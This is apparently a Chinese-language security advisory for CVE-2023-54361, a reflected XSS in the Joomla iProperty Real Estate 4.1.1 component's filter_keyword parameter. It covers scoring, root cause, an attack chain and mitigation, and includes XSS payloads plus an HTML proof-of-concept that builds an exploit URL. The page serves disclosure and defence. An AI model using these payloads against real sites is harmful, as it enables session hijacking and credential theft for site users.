IPBUF安全漏洞报告
English
CVE-2023-54361 CVSS 6.1 中危

CVE-2023-54361 Joomla iProperty Real Estate反射型XSS漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2023-54361
漏洞类型
反射型跨站脚本攻击 (Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Joomla iProperty Real Estate

相关标签

XSSReflected XSSJoomlaiProperty Real EstateCVE-2023-54361Web安全

漏洞概述

Joomla iProperty Real Estate 4.1.1组件被发现存在反射型跨站脚本漏洞(CVE-2023-54361)。该漏洞源于组件在处理房产搜索请求时,未能对`all-properties-with-map`端点中的`filter_keyword`参数进行有效的安全过滤。攻击者可以精心设计包含恶意JavaScript代码的URL链接,诱导受害者点击。一旦受害者访问,恶意脚本将在其浏览器上下文中执行,进而导致敏感数据如会话令牌或登录凭证被窃取,对用户隐私构成严重威胁。

技术细节

该漏洞的技术成因在于Joomla iProperty Real Estate组件对用户输入的信任度过高。在`all-properties-with-map`页面处理搜索功能时,应用程序直接接收GET请求中的`filter_keyword`参数,并将其未经转义地嵌入到返回的HTML响应中。这种“输入即输出”的处理方式打破了输出编码的安全原则。攻击者可利用此缺陷,构造诸如`<script>alert(document.cookie)</script>`或利用HTML事件处理器(如onerror, onload)的载荷。由于漏洞属于反射型,攻击载荷不存储在服务器数据库,而是通过URL传播。利用链的关键在于诱导具备特定权限或会话的用户访问恶意链接,从而在受害者的浏览器环境中上下文执行代码,绕过同源策略限制获取敏感信息。

攻击链分析

STEP 1
侦察
识别运行Joomla CMS并安装了iProperty Real Estate组件的目标网站。
STEP 2
构造载荷
攻击者编写包含JavaScript代码的XSS Payload,准备注入到filter_keyword参数中。
STEP 3
传递链接
通过电子邮件或社交媒体将包含恶意Payload的URL发送给目标受害者(社会工程学)。
STEP 4
触发漏洞
受害者点击链接,向服务器发送请求,服务器将未过滤的参数反射回页面。
STEP 5
执行攻击
受害者的浏览器解析HTML并执行恶意脚本,窃取Cookie或执行其他操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2023-54361 --> <!-- Affected Component: Joomla iProperty Real Estate --> <!-- Vulnerable Parameter: filter_keyword --> <html> <body> <h3>CVE-2023-54361 PoC Generator</h3> <script> // Define the malicious payload var xss_payload = '<img src=x onerror=alert(\'CVE-2023-54361\')>'; // Target endpoint structure var base_url = 'http://target-site.com/index.php'; var endpoint = 'option=com_iproperty&view=allpropertieswithmap'; // Construct the exploit URL var exploit_url = base_url + '?' + endpoint + '&filter_keyword=' + encodeURIComponent(xss_payload); // Display the link document.write('Exploit URL: <a href="' + exploit_url + '">' + exploit_url + '</a>'); </script> </body> </html>

影响范围

Joomla iProperty Real Estate 4.1.1

防御指南

临时缓解措施
建议管理员立即检查并更新Joomla iProperty Real Estate组件至修复版本。若无法立即更新,应部署Web应用防火墙(WAF)规则,过滤针对`all-properties-with-map`端点`filter_keyword`参数的恶意脚本特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表